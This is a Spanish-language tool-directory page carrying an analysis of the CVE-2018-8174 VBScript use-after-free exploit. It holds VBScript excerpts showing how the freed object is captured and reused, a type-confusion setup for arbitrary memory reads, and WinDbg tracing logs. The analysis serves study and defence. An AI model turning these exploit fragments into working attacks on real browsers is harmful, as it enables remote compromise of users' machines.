Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
cve-2018-8174_analysis — Análisis del exploit VBS CVE-2018-8174 | Kitploit
Herramientas/GitHubGitHub/piotrflorczyk/cve-2018-8174_analysis
Forensia de MemoriaAnálisis de VulnerabilidadesExplotaciónIngeniería InversaAprendizaje y EducaciónExplotación de Binarios
GitHubpiotrflorczyk/cve-2018-8174_analysis

cve-2018-8174_analysis

Análisis del exploit VBS CVE-2018-8174

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
Ver Repositorio
301416hace 8 añosRevisado por Kitploit

Diseccionando un exploit moderno de navegador: caso de estudio de CVE-2018-8174

Resumen

Cuando este exploit surgió por primera vez a finales de abril y principios de mayo, despertó mi interés, ya que a pesar de una fuerte ofuscación, la estructura del código parecía bien organizada y el código de explotación de la vulnerabilidad lo suficientemente pequeño como para hacer el análisis más simple. Descargué el PoC de github y decidí que sería un buen candidato para echar un vistazo bajo el capó. En ese momento ya se habían publicado dos análisis, primero de 360 y segundo de Kaspersky. Ambos me ayudaron a entender cómo funcionaba, pero no fueron suficientes para comprender profundamente cada aspecto del exploit. Por eso decidí analizarlo por mi cuenta y compartir mis hallazgos.

Preprocesamiento

Primero, para eliminar la ofuscación de enteros, utilicé sustitución regex en un script de Python:

import re
def process(matchobj):
	line = matchobj.group(1)
	line = line.lower().replace('&h', '0x')
	return str(eval(line))			# extremadamente seguro :) 

data = open('analysis.vbs', 'r').read()	
result = re.sub('\((&h[^\)]+)\)', process, data)
open('result.vbs', 'w').write(result)

En cuanto a los nombres ofuscados, los renombré progresivamente durante el análisis. Este análisis se lee mejor con el código fuente al cual se proporciona un enlace al final.

Use after free

La vulnerabilidad ocurre cuando se finaliza un objeto y se llama a la función personalizada Class_Terminate(). En esta función, se guarda una referencia al objeto que se está liberando en UafArray. A partir de ahora, UafArray(i) se refiere al objeto eliminado.

Class ClassTerminateA
Private Sub Class_Terminate()
	Set UafArrayA(UafCounter)=FreedObjectArray(1)
	UafCounter=UafCounter+1
	FreedObjectArray(1)=1	' arreglar contador de referencias
End Sub
End Class
...
UafCounter=0	
For idx=0 To 6
	ReDim FreedObjectArray(1)
	Set FreedObjectArray(1)=New ClassTerminateA
	Erase FreedObjectArray
Next

Observe también la última línea en Class_Terminate(). Cuando copiamos el objeto ClassTerminate a UafArray, su contador de referencias se incrementa. Para equilibrarlo, lo liberamos de nuevo asignando otro valor a FreedObjectArray. Sin esto, la memoria del objeto no se liberaría a pesar de llamar a Class_Terminate sobre él y el siguiente objeto no se asignaría en su lugar.

Método VBScriptClass::Release

La creación y eliminación de nuevos objetos se repite 7 veces en un bucle; después de eso, se crea un nuevo objeto de la clase ReuseClass. Se asigna en la misma memoria que anteriormente estaba ocupada por las 7 instancias de ClassTerminate. Para entenderlo mejor, aquí hay un script simple de WinDbg que rastrea todas esas asignaciones:

bp vbscript!VBScriptClass::TerminateClass ".printf \"Class %mu at %x, terminate called\\n\", poi(@ecx + 0x24), @ecx; g";
bp vbscript!VBScriptClass::Release ".printf \"Class %mu at: %x ref counter, release called: %d\\n\", poi(@eax + 0x24), @ecx, poi(@eax + 0x4); g";
bp vbscript!VBScriptClass::Create+0x55 ".printf \"Class %mu created at %x\\n\", poi(@esi + 0x24), @esi; g";

Aquí está el registro de asignación de la función UafTrigger:

Class EmptyClass created at 3a7d90
Class EmptyClass created at 3a7dc8
...
Class ReuseClass created at 22601a0
Class ReuseClass created at 22601d8
Class ReuseClass created at 2260210
...
Class ClassTerminateA created at 22605c8
Class ClassTerminateA at: 70541748 ref counter, release called: 2
Class ClassTerminateA at: 70541748 ref counter, release called: 2
Class ClassTerminateA at: 70541748 ref counter, release called: 2
Class ClassTerminateA at: 70541748 ref counter, release called: 1
Class ClassTerminateA at 22605c8, terminate called
Class ClassTerminateA at: 70541748 ref counter, release called: 5
Class ClassTerminateA at: 70541748 ref counter, release called: 4
Class ClassTerminateA at: 70541748 ref counter, release called: 3
Class ClassTerminateA at: 70541748 ref counter, release called: 2
Class ClassTerminateA created at 22605c8
Class ClassTerminateA at: 70541748 ref counter, release called: 2
Class ClassTerminateA at: 70541748 ref counter, release called: 2
Class ClassTerminateA at: 70541748 ref counter, release called: 2
Class ClassTerminateA at: 70541748 ref counter, release called: 1
Class ClassTerminateA at 22605c8, terminate called
Class ClassTerminateA at: 70541748 ref counter, release called: 5
Class ClassTerminateA at: 70541748 ref counter, release called: 4
Class ClassTerminateA at: 70541748 ref counter, release called: 3
Class ClassTerminateA at: 70541748 ref counter, release called: 2
...
Class ReuseClass created at 22605c8
...
Class ClassTerminateB created at 2260600
Class ClassTerminateB at: 70541748 ref counter, release called: 2
Class ClassTerminateB at: 70541748 ref counter, release called: 2
Class ClassTerminateB at: 70541748 ref counter, release called: 2
Class ClassTerminateB at: 70541748 ref counter, release called: 1
Class ClassTerminateB at 2260600, terminate called
Class ClassTerminateB at: 70541748 ref counter, release called: 5
Class ClassTerminateB at: 70541748 ref counter, release called: 4
Class ClassTerminateB at: 70541748 ref counter, release called: 3
Class ClassTerminateB at: 70541748 ref counter, release called: 2
...
Class ReuseClass created at 2260600

Podemos ver inmediatamente que ReuseClass se asigna efectivamente en la misma memoria que se asignó a las 7 instancias anteriores de ClassTerminate. Esto se repite dos veces. Terminamos con dos objetos referenciados por UafArrays. Ninguna de estas referencias se refleja en el contador de referencias del objeto. En este registro también podemos notar que incluso después de que se llamó a Class_Terminate, hay algunas manipulaciones del objeto que cambian su contador de referencias. Por eso, si no equilibráramos este contador en Class_Terminate, obtendríamos algo como esto:

Class ClassTerminateA created at 2240708
Class ClassTerminateA at: 6c161748 ref counter, release called: 2
Class ClassTerminateA at: 6c161748 ref counter, release called: 2
Class ClassTerminateA at: 6c161748 ref counter, release called: 2
Class ClassTerminateA at: 6c161748 ref counter, release called: 1
Class ClassTerminateA at 2240708, terminate called
Class ClassTerminateA at: 6c161748 ref counter, release called: 5
Class ClassTerminateA at: 6c161748 ref counter, release called: 4
Class ClassTerminateA at: 6c161748 ref counter, release called: 3
Class ReuseClass created at 2240740

Diferentes direcciones de asignación. El exploit fallaría al crear la condición de use after free.

Type Confusion

Habiendo creado esos dos objetos con 7 referencias no contabilizadas a cada uno, establecimos una primitiva de lectura de memoria arbitraria. Hay dos clases similares ReuseClass y FakeReuseClass. Al reemplazar la primera clase por la segunda, se produce una type confusion en el miembro mem.

Class ReuseClass
Dim mem
Function P
End Function
Function SetProp(Value)
	mem=Value				' en realidad llamará a Default Property Get
	SetProp=0
End Function
End Class

Class FakeReuseClass
Dim mem
Function ReadBstrValll
	ReadBstrValll=LenB(mem(some_memory+8))
End Function
Function Q
End Function
End Class

En la función SetProp, se guarda ReuseClass.mem y se llama a Default Property Get de la clase ReplacingClass_*; el resultado de esa llamada se colocará en ReuseClass.mem.

Descargar herramienta